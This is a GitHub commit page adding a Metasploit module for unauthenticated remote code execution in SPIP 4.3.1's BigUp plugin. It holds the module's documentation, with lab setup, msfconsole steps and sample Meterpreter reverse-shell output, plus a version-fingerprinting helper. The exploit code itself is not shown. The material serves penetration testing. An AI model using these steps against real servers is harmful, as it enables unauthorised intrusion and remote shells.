Skip to content

Commit 8608e70

Browse files
committed
Add spip_bigup_unauth_rce module
1 parent 8e94a0d commit 8608e70

File tree

3 files changed

+402
-29
lines changed

3 files changed

+402
-29
lines changed
Lines changed: 129 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,129 @@
1+
## Vulnerable Application
2+
3+
This Metasploit module exploits a Remote Code Execution vulnerability in SPIP
4+
versions up to and including 4.3.1, specifically in the BigUp plugin.
5+
The vulnerability occurs due to improper handling of file uploads in the
6+
`lister_fichiers_par_champs` function, which can be exploited by crafting a malicious multipart form request.
7+
This allows an attacker to inject and execute arbitrary PHP code on the server.
8+
9+
### Non-Docker Setup
10+
11+
To replicate a vulnerable environment for testing, follow these steps:
12+
13+
1. Download and set up SPIP version 4.3.1.
14+
2. Use the built-in PHP server to host the SPIP instance.
15+
16+
#### Commands to Set Up the Vulnerable Environment:
17+
18+
```bash
19+
wget https://files.spip.net/spip/archives/spip-v4.3.1.zip
20+
mkdir spip && mv spip-v4.3.1.zip spip
21+
cd spip && unzip spip-v4.3.1.zip
22+
php -S 0.0.0.0:8000
23+
```
24+
25+
- **SPIP Access URL:** `http://localhost:8000`
26+
- **SPIP Version:** 4.3.1
27+
28+
After starting the PHP server, SPIP will be accessible at `http://localhost:8000`.
29+
30+
To complete the installation:
31+
32+
1. Navigate to `http://localhost:8000/ecrire` to access the SPIP web installation panel.
33+
2. Follow the on-screen instructions to complete the setup.
34+
35+
## Verification Steps
36+
37+
1. Set up a SPIP instance using the commands provided above.
38+
2. Launch `msfconsole` in your Metasploit framework.
39+
3. Use the module: `use exploit/multi/http/spip_bigup_unauth_rce`.
40+
4. Set `RHOSTS` to the local IP address or hostname of the target.
41+
5. Configure necessary options such as `TARGETURI`, `SSL`, and `RPORT`.
42+
6. Execute the exploit using the `run` or `exploit` command.
43+
7. If the target is vulnerable, the module will execute the specified payload.
44+
45+
## Options
46+
47+
- **FORM_PAGE**: This option allows you to specify a custom page on the target SPIP installation that contains a form.
48+
By default, the module will automatically check the `login` and `contact` pages for forms,
49+
but if you know of another page that contains a form, you can specify it here.
50+
For example, if an article page contains a form, you can set this option like so:
51+
52+
```
53+
set FORM_PAGE /spip.php?article1
54+
```
55+
56+
This will instruct the module to look for the form data on `/spip.php?article1`.
57+
If the specified page contains the vulnerable form, the module will proceed with the exploitation.
58+
This option is particularly useful when the default pages (`login` and `contact`) do not contain the form or are not accessible.
59+
60+
## Scenarios
61+
62+
### Successful Exploitation Against Local SPIP 4.3.1
63+
64+
**Setup**:
65+
66+
- Local SPIP instance with version 4.3.1.
67+
- Metasploit Framework.
68+
69+
**Steps**:
70+
71+
1. Start `msfconsole`.
72+
2. Load the module:
73+
```bash
74+
use exploit/multi/http/spip_bigup_unauth_rce
75+
```
76+
3. Set `RHOSTS` to the local IP (e.g., 127.0.0.1).
77+
4. Configure other necessary options (`TARGETURI`, `SSL`, etc.).
78+
5. Launch the exploit:
79+
```bash
80+
exploit
81+
```
82+
83+
**Expected Results**:
84+
85+
With `php/meterpreter/reverse_tcp`:
86+
87+
```bash
88+
msf6 exploit(multi/http/spip_bigup_unauth_rce) > run http://127.0.0.1:8000
89+
90+
[*] Started reverse TCP handler on 192.168.1.36:4444
91+
[*] Running automatic check ("set AutoCheck false" to disable)
92+
[*] SPIP Version detected: 4.3.1
93+
[+] The target appears to be vulnerable. The detected SPIP version (4.3.1) is vulnerable.
94+
[*] Preparing to send exploit payload to the target...
95+
[*] Sending stage (39927 bytes) to 192.168.1.36
96+
[*] Meterpreter session 1 opened (192.168.1.36:4444 -> 192.168.1.36:46322) at 2024-09-03 20:08:36 +0200
97+
98+
meterpreter > sysinfo
99+
Computer : linux
100+
OS : Linux linux 5.15.0-119-generic #129-Ubuntu SMP Fri Aug 2 19:25:20 UTC 2024 x86_64
101+
Meterpreter : php/linux
102+
meterpreter >
103+
```
104+
105+
With `cmd/linux/http/x64/meterpreter/reverse_tcp`:
106+
107+
```bash
108+
msf6 exploit(multi/http/spip_bigup_unauth_rce) > run http://127.0.0.1:8000
109+
110+
[*] Started reverse TCP handler on 192.168.1.36:4444
111+
[*] Running automatic check ("set AutoCheck false" to disable)
112+
[*] SPIP Version detected: 4.3.1
113+
[+] The target appears to be vulnerable. The detected SPIP version (4.3.1) is vulnerable.
114+
[*] Preparing to send exploit payload to the target...
115+
[*] Sending stage (3045380 bytes) to 192.168.1.36
116+
[*] Meterpreter session 2 opened (192.168.1.36:4444 -> 192.168.1.36:58062) at 2024-09-03 20:09:20 +0200
117+
118+
meterpreter > sysinfo
119+
Computer : 192.168.1.36
120+
OS : LinuxMint 21.3 (Linux 5.15.0-119-generic)
121+
Architecture : x64
122+
BuildTuple : x86_64-linux-musl
123+
Meterpreter : x64/linux
124+
meterpreter >
125+
```
126+
127+
- The module successfully exploits the vulnerability and opens a Meterpreter session on the target.
128+
129+
**Note**: Ensure the SPIP instance is correctly configured and running using the manual setup for the exploit to work as expected.
Lines changed: 94 additions & 29 deletions
Original file line numberDiff line numberDiff line change
@@ -1,46 +1,111 @@
11
# -*- coding: binary -*-
22

33
module Msf
4-
module Exploit::Remote::HTTP::Spip
4+
module Exploit::Remote::HTTP::Spip
5+
include Msf::Exploit::Remote::HttpClient
56

6-
include Msf::Exploit::Remote::HttpClient
7+
def initialize(info = {})
8+
super
79

8-
def initialize(info = {})
9-
super
10+
register_options([
11+
OptString.new('TARGETURI', [true, 'Path to Spip install', '/'])
12+
])
13+
end
1014

11-
register_options([
12-
OptString.new('TARGETURI', [true, 'Path to Spip install', '/'])
13-
])
14-
end
15+
# Determine Spip version
16+
#
17+
# @return [Rex::Version] Version as Rex::Version
18+
def spip_version
19+
res = send_request_cgi(
20+
'method' => 'GET',
21+
'uri' => normalize_uri(target_uri.path, 'spip.php')
22+
)
1523

16-
# Determine Spip version
17-
#
18-
# @return [Rex::Version] Version as Rex::Version
19-
def spip_version
20-
res = send_request_cgi(
21-
'method' => 'GET',
22-
'uri' => normalize_uri(target_uri.path, "spip.php")
23-
)
24+
return unless res
2425

25-
return unless res
26+
version = nil
2627

27-
version = nil
28+
potential_sources = [
29+
res.get_html_document.at('head/meta[@name="generator"]/@content')&.text,
30+
res.headers['Composed-By']
31+
]
2832

29-
version_string = res.get_html_document.at('head/meta[@name="generator"]/@content')&.text
30-
if version_string =~ /SPIP (.*)/
31-
version = ::Regexp.last_match(1)
32-
end
33+
potential_sources.each do |text|
34+
next unless text
35+
36+
if text =~ /SPIP\s(\d+(\.\d+)+)/
37+
version = ::Regexp.last_match(1)
38+
break
39+
end
40+
end
3341

34-
if version.nil? && res.headers['Composed-By'] =~ /SPIP (.*)/
35-
version = ::Regexp.last_match(1)
42+
return version ? Rex::Version.new(version) : nil
3643
end
3744

38-
if version.nil?
39-
return nil
45+
# Determine Spip plugin version by name
46+
#
47+
# @param [String] plugin_name Name of the plugin to search for
48+
# @return [Rex::Version, nil] Version of the plugin as Rex::Version, or nil if not found
49+
def spip_plugin_version(plugin_name)
50+
res = send_request_cgi(
51+
'method' => 'GET',
52+
'uri' => normalize_uri(target_uri.path, 'spip.php')
53+
)
54+
55+
return unless res
56+
57+
# Check the Composed-By header for plugin version or config.txt URL
58+
composed_by = res.headers['Composed-By']
59+
return unless composed_by
60+
61+
# Case 1: Look for config.txt URL in the header
62+
if composed_by =~ %r{(https?://[^\s]+/local/config\.txt)}i
63+
config_url = ::Regexp.last_match(1)
64+
vprint_status("Found config.txt URL: #{config_url}")
65+
66+
# Fetch and parse the config.txt file directly
67+
config_res = send_request_cgi(
68+
'method' => 'GET',
69+
'uri' => config_url
70+
)
71+
72+
if config_res&.code == 200
73+
return parse_plugin_version(config_res.body, plugin_name)
74+
end
75+
end
76+
77+
# Case 2: Check for plugin version directly in Composed-By
78+
composed_by.split(',').each do |entry|
79+
if entry =~ /#{plugin_name}\((\d+(\.\d+)+)\)/
80+
return Rex::Version.new(::Regexp.last_match(1))
81+
end
82+
end
83+
84+
# Case 3: Fallback to fetching /local/config.txt directly
85+
vprint_status('No version found in Composed-By header. Attempting to fetch /local/config.txt directly.')
86+
config_url = normalize_uri(target_uri.path, 'local', 'config.txt')
87+
config_res = send_request_cgi(
88+
'method' => 'GET',
89+
'uri' => config_url
90+
)
91+
92+
return parse_plugin_version(config_res.body, plugin_name) if config_res&.code == 200
93+
94+
nil
4095
end
4196

42-
return Rex::Version.new(version)
97+
# Parse the plugin version from config.txt or composed-by
98+
#
99+
# @param [String] body The body content to parse
100+
# @param [String] plugin_name Name of the plugin to find the version for
101+
# @return [Rex::Version, nil] Version of the plugin as Rex::Version, or nil if not found
102+
def parse_plugin_version(body, plugin_name)
103+
body.each_line do |line|
104+
if line =~ /#{plugin_name}\((\d+(\.\d+)+)\)/
105+
return Rex::Version.new(::Regexp.last_match(1))
106+
end
107+
end
108+
nil
109+
end
43110
end
44-
45-
end
46111
end

0 commit comments

Comments
 (0)